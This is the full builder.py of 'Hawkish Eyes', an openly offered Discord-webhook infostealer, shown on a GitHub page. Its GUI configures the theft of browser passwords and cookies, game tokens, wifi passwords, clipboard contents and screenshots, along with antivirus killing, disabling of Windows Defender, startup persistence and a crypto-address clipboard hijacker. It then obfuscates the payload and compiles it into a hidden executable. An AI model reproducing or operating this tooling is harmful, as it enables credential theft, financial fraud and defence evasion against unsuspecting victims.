forked from Inplex-sys/Hawkish-Eyes-NoDualHook
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbuilder.py
554 lines (431 loc) · 29.2 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
import customtkinter
from customtkinter import filedialog as fd
import os
from PIL import Image
import requests
import time
import shutil
import webbrowser
import win32gui
import win32con
import base64
from pypresence import Presence
import threading
import sys
custom_username = ""
#DEFINIR USERNAME DANS UNE ENTRé DU GUI ça sera pour reperer le nom de l'utilisateur dans le grab
# ça permet de rendre le grab "customizable" et moins detecté
###################################################################################################################################
############################################ Clean@Builder: v5 ####################################################################
############################################ Clean@Author: https://github.com/NolayDscd ###########################################
############################################ Clean@Code: For Hawkish Eyes #########################################################
###################################################################################################################################
# DISCORD RPC
try:
client_id = '1106609314430472224'
RPC = Presence(client_id)
RPC.connect()
except:
pass
def update():
try:
RPC.update(state=data['state'],
details=data['details'],
large_image=data['large_image'],
small_image=data['small_image'],
buttons=data['buttons'],
start=data['time'])
except:
pass
data = {
'state':"Build Some Eyes",
'details':"with Hawkish-Builder V5",
'large_image':"hawkishx",
'large_text':None,
'small_image':"xhawkish",
'small_text':None,
'buttons':[{"label": "Github", "url": "https://github.com/Hawkish-Eyes"}, {"label": "Telegram", "url": "https://t.me/+WvJrz6yv5AxkYjY8"}],
'time': 1
}
update()
def rpcloop():
while True:
try:
update()
except:
pass
time.sleep(20)
###Main script
class Hawkish(customtkinter.CTk):
def __init__(self):
self.icon_name = ""
self.pingtype = "none"
self.iconname = "Hawkish_assets\img\hawkish.ico"
self.hide = "no"
self.icb = "no"
super().__init__()
self.protocol("WM_DELETE_WINDOW", self.on_close)
#title, icon
self.title("Hawkish Eyes - Builder")
self.geometry("820x500")
self.iconbitmap("Hawkish_assets\img\logo.ico")
#base
self.grid_rowconfigure(0, weight=1)
self.grid_columnconfigure(1, weight=1)
#path img
image_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "Hawkish_assets\img")
self.logo = customtkinter.CTkImage(Image.open(os.path.join(image_path, "logo.png")), size=(80, 80))
self.logo_ab = customtkinter.CTkImage(Image.open(os.path.join(image_path, "logo.png")), size=(200, 200))
self.options = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "options_d.png")), dark_image = Image.open(os.path.join(image_path, "options_w.png")), size=(35, 35))
self.crypto = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "crypto_d.png")), dark_image = Image.open(os.path.join(image_path, "crypto_w.png")), size=(35, 35))
self.files = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "files_d.png")), dark_image = Image.open(os.path.join(image_path, "files_w.png")), size=(35, 35))
self.icons = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "files_d.png")), dark_image = Image.open(os.path.join(image_path, "files_w.png")), size=(20, 20))
self.build_img = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "build_d.png")), dark_image = Image.open(os.path.join(image_path, "build_w.png")), size=(35, 35))
self.about = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "about_d.png")), dark_image = Image.open(os.path.join(image_path, "about_w.png")), size=(35, 35))
self.arrow = customtkinter.CTkImage(light_image = Image.open(os.path.join(image_path, "arrow_d.png")), dark_image = Image.open(os.path.join(image_path, "arrow_w.png")), size=(50, 30))
#List Frame
self.options_frame = customtkinter.CTkFrame(self, fg_color="transparent")
self.options_frame.grid_columnconfigure(0, weight=1)
self.nav_frame = customtkinter.CTkFrame(self)
self.nav_frame.grid(row=0, sticky="nsew")
self.crypto_frame = customtkinter.CTkFrame(self, fg_color="transparent")
self.crypto_frame.grid_columnconfigure(0, weight=1)
self.build_frame = customtkinter.CTkFrame(self, fg_color="transparent")
self.build_frame.grid_columnconfigure(0, weight=1)
self.file_frame = customtkinter.CTkFrame(self, fg_color="transparent")
self.file_frame.grid_columnconfigure(0, weight=1)
self.about_frame = customtkinter.CTkFrame(self, fg_color="transparent")
self.about_frame.grid_columnconfigure(0, weight=1)
#Nav Bar
self.nav_frame.grid_rowconfigure(7, weight=1)
self.nav_label = customtkinter.CTkLabel(self.nav_frame, text="", image=self.logo)
self.nav_label.grid(row=0, pady=(5, 15))
self.option_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.options, command=self.option_event)
self.option_button.grid(row=1, pady=(10, 25))
self.crypto_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.crypto, command=self.crypto_event)
self.crypto_button.grid(row=2, pady=(0, 25))
self.file_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.files, command=self.file_event)
self.file_button.grid(row=3, pady=(0, 25))
self.build_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.build_img, command=self.build_event)
self.build_button.grid(row=4, pady=(0, 25))
self.about_button = customtkinter.CTkButton(self.nav_frame, corner_radius=5, text="", hover_color="#ff0026", image=self.about, command=self.about_event)
self.about_button.grid(row=5, pady=(0, 25))
self.app_mod = customtkinter.CTkComboBox(self.nav_frame, width=120, height=30, values=["System", "Light", "Dark"], command=self.change_app)
self.app_mod.grid(row=6, pady=(0, 25))
#Options category
self.w3bh00k_input = customtkinter.CTkEntry(self.options_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Enter your webhook")
self.w3bh00k_input.grid(row=2, padx=40, pady=(15, 12))
self.w3bh00k_button = customtkinter.CTkButton(self.options_frame, width=120, height=30, fg_color=("gray75", "gray25"), hover_color="#ff0026", text="Check Webhook", command=self.c_button)
self.w3bh00k_button.grid(row=2, column=2, padx=40, pady=(15, 5))
self.n3m3_input = customtkinter.CTkEntry(self.options_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Enter your file output name")
self.n3m3_input.grid(row=4, padx=40, pady=(0, 13))
self.icon_button = customtkinter.CTkButton(self.options_frame, width=30, height=30, fg_color="transparent", hover_color="#ff0026", text="", image=self.icons, command=self.icon)
self.icon_button.grid(row=5, padx=40, pady=(0, 13))
self.icon_check = customtkinter.CTkCheckBox(self.options_frame, text="Add icon on your exe (.ico)", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue="yes",offvalue="no")
self.icon_check.grid(row=5, sticky="nw", padx=40, pady=(0, 13))
self.kill = customtkinter.CTkCheckBox(self.options_frame, text="Kill victim Discord Client", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue=True, offvalue=False)
self.kill.grid(row=6, sticky="nw", padx=40, pady=(0, 13))
self.dbug = customtkinter.CTkCheckBox(self.options_frame, text="Enable Anti-Debug \n[Recommand yes, Kill Anti-Virus/Anti-Firewall/Anti-VM]?", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue=True, offvalue=False)
self.dbug.grid(row=7, sticky="nw", padx=40, pady=(0, 13))
self.ping_new = customtkinter.CTkCheckBox(self.options_frame,text="Ping on new victim? (here/everyone)", fg_color=("gray75", "gray25"), hover_color="#ff0026",command=self.pings, onvalue="yes", offvalue="no")
self.ping_new.grid(row=8, sticky="nw", padx=40, pady=(0, 13))
self.ping_option = customtkinter.CTkComboBox(self.options_frame, width=120, height=30, values=["here", "everyone"], fg_color=("gray75", "gray25"))
self.ping_option.grid(row=8, column=2, sticky="nw", padx=40, pady=(0, 13))
self.wd = customtkinter.CTkCheckBox(self.options_frame, text="Disable Windows Defender \n(Can create error/detection Recommand \"no active\")", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.wd.grid(row=9, sticky="nw", padx=40, pady=(0, 13))
self.fake_err = customtkinter.CTkCheckBox(self.options_frame,text="Add a fake error", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
self.fake_err.grid(row=10, sticky="nw", padx=40, pady=(0, 13))
self.startups = customtkinter.CTkCheckBox(self.options_frame, text="Add file to startup", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.startups.grid(row=11, sticky="nw", padx=40, pady=(0, 13))
self.hide = customtkinter.CTkCheckBox(self.options_frame, text="Hide Hawkish console for victim", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.hide.grid(row=12, sticky="nw", padx=40, pady=(0, 13))
self.icb = customtkinter.CTkCheckBox(self.options_frame, text="Inject into all Browsers", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
self.icb.grid(row=13, sticky="nw", padx=40, pady=(0, 13))
self.iacb = customtkinter.CTkCheckBox(self.options_frame, text="Inject in All Discord Clients", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
self.iacb.grid(row=14, sticky="nw", padx=40)
self.next_option_button = customtkinter.CTkButton(self.options_frame, width=40, height=30, fg_color="transparent", hover_color=("gray75", "gray25"), text="", image=self.arrow, command=self.crypto_event)
self.next_option_button.grid(row=14, column=2, padx=1)
#Crypto category
self.active = customtkinter.CTkCheckBox(self.crypto_frame, text="Replace all copied crypto address wallet by your address", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
self.active.grid(row=1, sticky="nw", padx=40, pady=(15, 25))
self.btc_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Bitcoin Address (let empty if you do not have)")
self.btc_input.grid(row=3, padx=40, pady=(0, 25))
self.eth_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Ethereum Address (let empty if you do not have)")
self.eth_input.grid(row=5, padx=40, pady=(0, 25))
self.xchain_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your X-Chain Address (let empty if you do not have)")
self.xchain_input.grid(row=7, padx=40, pady=(0, 25))
self.pchain_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your P-Chain Address (let empty if you do not have)")
self.pchain_input.grid(row=9, padx=40, pady=(0, 25))
self.cchain_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your C-Chain Address (let empty if you do not have)")
self.cchain_input.grid(row=11, padx=40, pady=(0, 25))
self.monero_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Monero Address (let empty if you do not have)")
self.monero_input.grid(row=13, padx=40, pady=(0, 25))
self.ada_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Ada/Cardano Address (let empty if you do not have)")
self.ada_input.grid(row=15, padx=40, pady=(0, 25))
self.dash_input = customtkinter.CTkEntry(self.crypto_frame, width=420, fg_color=("gray75", "gray25"), placeholder_text="Your Dash Address (let empty if you do not have)")
self.dash_input.grid(row=17, padx=40)
self.next_crypto_button = customtkinter.CTkButton(self.crypto_frame, width=40, height=30, fg_color="transparent",hover_color=("gray75", "gray25"), text="", image=self.arrow, command=self.file_event)
self.next_crypto_button.grid(row=17, column=2, padx=40)
#File category
self.browsers_button = customtkinter.CTkCheckBox(self.file_frame,text="Steal Browsers Files (Cookies/Password/etc...)", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.browsers_button.grid(row=1, sticky="nw", padx=40, pady=(15, 25))
self.antivirus_button = customtkinter.CTkCheckBox(self.file_frame,text="Steal all anti virus informations", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.antivirus_button.grid(row=2, sticky="nw", padx=40, pady=(10, 25))
self.mc_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal all minecraft app tokens", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.mc_button.grid(row=3, sticky="nw", padx=40, pady=(10, 25))
self.sys_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal systeme informations", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.sys_button.grid(row=4, sticky="nw", padx=40, pady=(10, 25))
self.roblox_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal roblox app token", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.roblox_button.grid(row=5, sticky="nw", padx=40, pady=(10, 25))
self.screen_button = customtkinter.CTkCheckBox(self.file_frame, text="Take screenshot", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.screen_button.grid(row=6, sticky="nw", padx=40, pady=(10, 25))
self.last_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal latest clipboard", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.last_button.grid(row=7, sticky="nw", padx=40, pady=(10, 25))
self.wifi_button = customtkinter.CTkCheckBox(self.file_frame, text="Steal all wifi passwords", fg_color=("gray75", "gray25"), hover_color="#ff0026",onvalue='yes', offvalue='no')
self.wifi_button.grid(row=8, sticky="nw", padx=40, pady=(10, 25))
self.next_crypto_button = customtkinter.CTkButton(self.file_frame, width=40, height=30,fg_color="transparent",hover_color=("gray75", "gray25"), text="", image=self.arrow,command=self.build_event)
self.next_crypto_button.grid(row=8, column=2, padx=40)
#Select button defaut
for button in [self.browsers_button, self.antivirus_button, self.mc_button, self.sys_button, self.roblox_button, self.screen_button, self.last_button, self.wifi_button, self.icb, self.iacb, self.hide]:
button.select()
#Build category
self.obf = customtkinter.CTkCheckBox(self.build_frame, text="Obfuscate the Hawkish", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
self.obf.grid(row=1, sticky="nw", padx=40, pady=(20, 20))
self.compy = customtkinter.CTkCheckBox(self.build_frame,text="Compil into .exe (Let Empty for .py)", fg_color=("gray75", "gray25"), hover_color="#ff0026", onvalue='yes', offvalue='no')
self.compy.grid(row=2, sticky="nw", padx=40, pady=(20, 20))
self.obf_name = customtkinter.CTkLabel(master=self.build_frame, text="Obfuscation Level")
self.obf_name.grid(row=3, columnspan=2, padx=10, pady=(20, 5))
self.num = customtkinter.CTkLabel(master=self.build_frame, text=' 0% 25% 50% 75% 100%')
self.num.grid(row=4, columnspan=1, padx=10, sticky="nw")
self.obf_bar = customtkinter.CTkSlider(self.build_frame, from_=0, to=1, number_of_steps=4, fg_color=("gray75", "gray25"))
self.obf_bar.grid(row=5, sticky="ew", padx=40, pady=(0, 20))
self.pleasebuild = customtkinter.CTkButton(self.build_frame, width=150, height=50, fg_color=("gray75", "gray25"), hover_color="#ff0026", text="BUILD SCRIPT", command=lambda: self.build_scr(self.n3m3_input.get().replace(" ", "_"), self.w3bh00k_input.get()), compound="right")
self.pleasebuild.grid(row=6, padx=0, pady=(20, 20))
#About category
self.img = customtkinter.CTkLabel(self.about_frame, text="", image=self.logo_ab)
self.img.grid(row=0, pady=20)
urls = [("Github", "https://github.com/Hawkish-Eyes"),("Discord", "https://t.me/+WvJrz6yv5AxkYjY8"),("Telegram", "https://t.me/+WvJrz6yv5AxkYjY8")]
for i, (text, url) in enumerate(urls, start=3):
button = customtkinter.CTkButton(self.about_frame, text=text, fg_color=("gray75", "gray25"),hover_color="#ff0026", command=lambda url=url: webbrowser.open(url))
button.grid(row=i, pady=10)
self.function("options")
# Nav bar
def function(self, name):
buttons = [self.option_button, self.crypto_button, self.file_button, self.build_button, self.about_button]
for button in buttons:
button_name = button.cget("text").lower()
button.configure(fg_color=("gray75", "gray25") if button_name == name else "transparent")
frames = {
"options": self.options_frame,
"crypto": self.crypto_frame,
"file": self.file_frame,
"build": self.build_frame,
"about": self.about_frame
}
for button_name, frame in frames.items():
if button_name == name:
frame.grid(row=0, column=1, sticky="nsew")
else:
frame.grid_forget()
def change_app(self, new_app):
customtkinter.set_appearance_mode(new_app)
def on_close(self):
self.destroy()
sys.exit()
#Options category
def r_icon(self):
self.icon_button.configure(fg_color="transparent", hover_color=("gray75", "gray25"), text="")
def icon(self):
self.icon_name = fd.askopenfilename()
self.name_icon = os.path.basename(self.icon_name)
if os.path.isfile(f"{self.icon_name}"):
self.icon_button.configure(width=30, height=30, fg_color="green", hover_color=("gray75", "gray25"),text="")
self.options_frame.after(3500, self.r_icon)
pass
else:
self.icon_button.configure(width=30, height=30, fg_color="red", hover_color=("gray75", "gray25"),text="")
self.options_frame.after(3500, self.r_icon)
if self.icon_name.endswith('.ico'):
pass
else:
self.icon_button.configure(width=30, height=30, fg_color="red", hover_color=("gray75", "gray25"),text="")
self.options_frame.after(3500, self.r_icon)
def v_w3bh00k(self):
webhook = self.w3bh00k_input.get()
try:
r = requests.get(webhook, timeout=5)
if r.status_code == 200:
return True
else:
return False
except requests.exceptions.RequestException:
return False
def c_button(self):
if self.v_w3bh00k():
self.w3bh00k_button.configure(width=120, height=30, fg_color="green", hover_color=("gray75", "gray25"), text="Valid Webhook")
self.options_frame.after(3500, self.r_button)
else:
self.w3bh00k_button.configure(width=120, height=30, fg_color="red", hover_color=("gray75", "gray25"), text="Invalid Webhook")
self.options_frame.after(3500, self.r_button)
def r_button(self):
self.w3bh00k_button.configure(fg_color=("gray75", "gray25"), hover_color="#ff0026", text="Check Webhook")
def pings(self):
if self.ping_new.get() == "yes":
self.ping = "yes"
self.pingtype = self.ping_option.get()
else:
self.ping = "no"
self.pingtype = "none"
#Nav Bar
def option_event(self):
self.function("options")
def crypto_event(self):
self.function("crypto")
def build_event(self):
self.function("build")
def file_event(self):
self.function("file")
def about_event(self):
self.function("about")
##BUILDER USING
def reset_build(self):
self.pleasebuild.configure(fg_color=("gray75", "gray25"), text="BUILD SCRIPT")
def build_scr(self, filename, webhook):
self.pleasebuild.configure(width=150, height=50, fg_color="green", hover_color=("gray75", "gray25"),text="Build currently starting")
self.options_frame.after(5000, self.reset_build)
self.mk_file(filename, webhook)
self.cleanup(filename)
self.renamefile(filename)
def mk_file(self, filename,webhook):
with open('./main.py', 'r', encoding="utf-8") as f:
code = f.read()
inputs = {
'btc_input': 'btc_', 'eth_input': 'eth_',
'xchain_input': 'xchain_', 'pchain_input': 'pchain_', 'cchain_input': 'cchain_',
'monero_input': 'monero_',
'ada_input': 'ada_',
'dash_input': 'dash_'
}
for key, value in inputs.items():
setattr(self, value, self.__dict__[key].get() if len(self.__dict__[key].get()) > 0 else 'none')
if self.active.get() != "yes":
inputs = {
'btc_': '', 'eth_': '',
'xchain_': '', 'pchain_': '', 'cchain_': '',
'monero_': '',
'ada_': '',
'dash_': ''
}
for key, value in inputs.items():
setattr(self, key, value)
b64 = webhook.encode('utf-8')
bs64 = base64.b64encode(b64)
with open(f"{filename}.py", "w", encoding="utf-8") as f:
f.write(code.replace('%_config_4888%', str(bs64).replace("b'", "").replace("'", ""))
.replace("%PC_CREATOR%", os.getenv("COMPUTERNAME"))
.replace("%USER_CREATOR%", custom_username)
.replace("%_config_632%", str(self.ping_new.get()))
.replace("%_config_141%", str(self.wd.get()))
.replace("%_config_621%", self.pingtype)
.replace("%_config_118%", str(self.active.get()))
.replace("%_config_185%", self.btc_)
.replace("%_config_55%", self.eth_)
.replace("%_config_45%", self.xchain_)
.replace("%_config_89%", self.pchain_)
.replace("%_config_101%", self.cchain_)
.replace("%_config_102%", self.monero_)
.replace("%_config_41%", self.ada_)
.replace("%_config_1222%", self.dash_)
.replace("%_config_687%", str(self.fake_err.get()))
.replace("%_config_456%", str(self.startups.get()))
.replace("%_config_546%", str(self.hide.get()))
.replace("'%_config_45666%'", str(self.kill.get()))
.replace("'%_config_6511%'", str(self.dbug.get()))
.replace("%_config_2211%", str(self.browsers_button.get()))
.replace("%_config_6744%", str(self.antivirus_button.get()))
.replace("%_config_6522%", str(self.mc_button.get()))
.replace("%_config_4454%", str(self.sys_button.get()))
.replace("%_config_498%", str(self.roblox_button.get()))
.replace("%_config_555%", str(self.last_button.get()))
.replace("%_config_777%", str(self.screen_button.get()))
.replace("%_config_741%", str(self.wifi_button.get()))
.replace("%_config_169%", str(self.icb.get()))
.replace("%_config_119%", str(self.iacb.get())))
time.sleep(2)
if self.obf.get() == 'yes' and self.compy.get() == 'yes':
self.encryption(f"{filename}")
self.compile(f"obfuscated_{filename}")
elif self.obf.get() == 'no' and self.compy.get() == 'yes':
self.compile(f"{filename}")
elif self.obf.get() == 'yes' and self.compy.get() == 'no':
self.encryption(f"{filename}")
else:
pass
def encryption(self, filename):
os.system(f"python obfuscation.py -i {filename}.py -o obfuscated_{filename}.py -s {self.obf_bar.get() * 100}".replace(".0", ""))
def compile(self, filename):
icon_name = self.icon_name if self.icon_name else self.iconname
icon = icon_name if self.icon_check.get() == 'yes' else "NONE"
if self.hide.get() == "yes":
if self.icb.get() == "yes":
os.system(f'python -m PyInstaller --onefile --version-file=./Hawkish_assets/version/version.txt --hiddenimport=pypiwin32 --uac-admin --noconsole --upx-dir=./Hawkish_assets/upx -i {icon} --distpath ./ .\\{filename}.py')
if self.icb.get() == "no":
os.system(f'python -m PyInstaller --onefile --version-file=./Hawkish_assets/version/version.txt --hiddenimport=pypiwin32 --noconsole --upx-dir=./Hawkish_assets/upx -i {icon} --distpath ./ .\\{filename}.py')
if self.hide.get() == "no":
if self.icb.get() == "yes":
os.system(f'python -m PyInstaller --hiddenimport=pypiwin32 --version-file=./Hawkish_assets/version/version.txt --uac-admin --onefile --upx-dir=./Hawkish_assets/upx -i {icon} --distpath ./ .\\{filename}.py')
if self.icb.get() == "no":
os.system(f'python -m PyInstaller --hiddenimport=pypiwin32 --version-file=./Hawkish_assets/version/version.txt --onefile --upx-dir=./Hawkish_assets/upx -i {icon} --distpath ./ .\\{filename}.py')
def cleanup(self, filename):
cleans_dir = {'./__pycache__', './build'}
cleans_file = {f'./{filename}.py',f'./{filename}.spec',f'./obfuscated_compressed_{filename}.py',f'./obfuscated_{filename}.py',f'./obfuscated_{filename}.spec',f'./compressed_{filename}.py',f'./compressed_{filename}.spec'}
if self.obf.get() == 'yes' and self.compy.get() == 'no':
cleans_file.add(f'./{filename}.py')
cleans_file.remove(f'./obfuscated_{filename}.py')
elif self.obf.get() == 'yes' and self.compy.get() == 'yes':
cleans_file.add(f'./{filename}.py')
cleans_file.add(f'./obfuscated_{filename}.spec')
elif self.obf.get() == 'no' and self.compy.get() == 'no':
cleans_file.remove(f'./{filename}.py')
else:
pass
for clean in cleans_dir:
try:
if os.path.isdir(clean):
shutil.rmtree(clean)
except Exception:
pass
continue
for clean in cleans_file:
try:
if os.path.isfile(clean):
os.remove(clean)
except Exception:
pass
continue
def renamefile(self, filename):
files = [f"./obfuscated_compressed_{filename}.py", f"./compressed_{filename}.py",
f"./compressed_{filename}.exe", f"./obfuscated_{filename}.py",
f"./obfuscated_compressed_{filename}.exe", f"./obfuscated_{filename}.exe"]
for file in files:
try:
os.rename(file, f"./{filename}{os.path.splitext(file)[1]}")
except Exception:
pass
def app_thread(stop_event):
app = Hawkish()
app.mainloop()
stop_event.set()
def rpcloop_thread(stop_event):
while not stop_event.is_set():
rpcloop()
if __name__ == "__main__":
hide = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hide, win32con.SW_HIDE)
stop_event = threading.Event()
app_thread = threading.Thread(target=app_thread, args=(stop_event,))
rpcloop_thread = threading.Thread(target=rpcloop_thread, args=(stop_event,))
app_thread.start()
rpcloop_thread.start()
app_thread.join()
rpcloop_thread.join()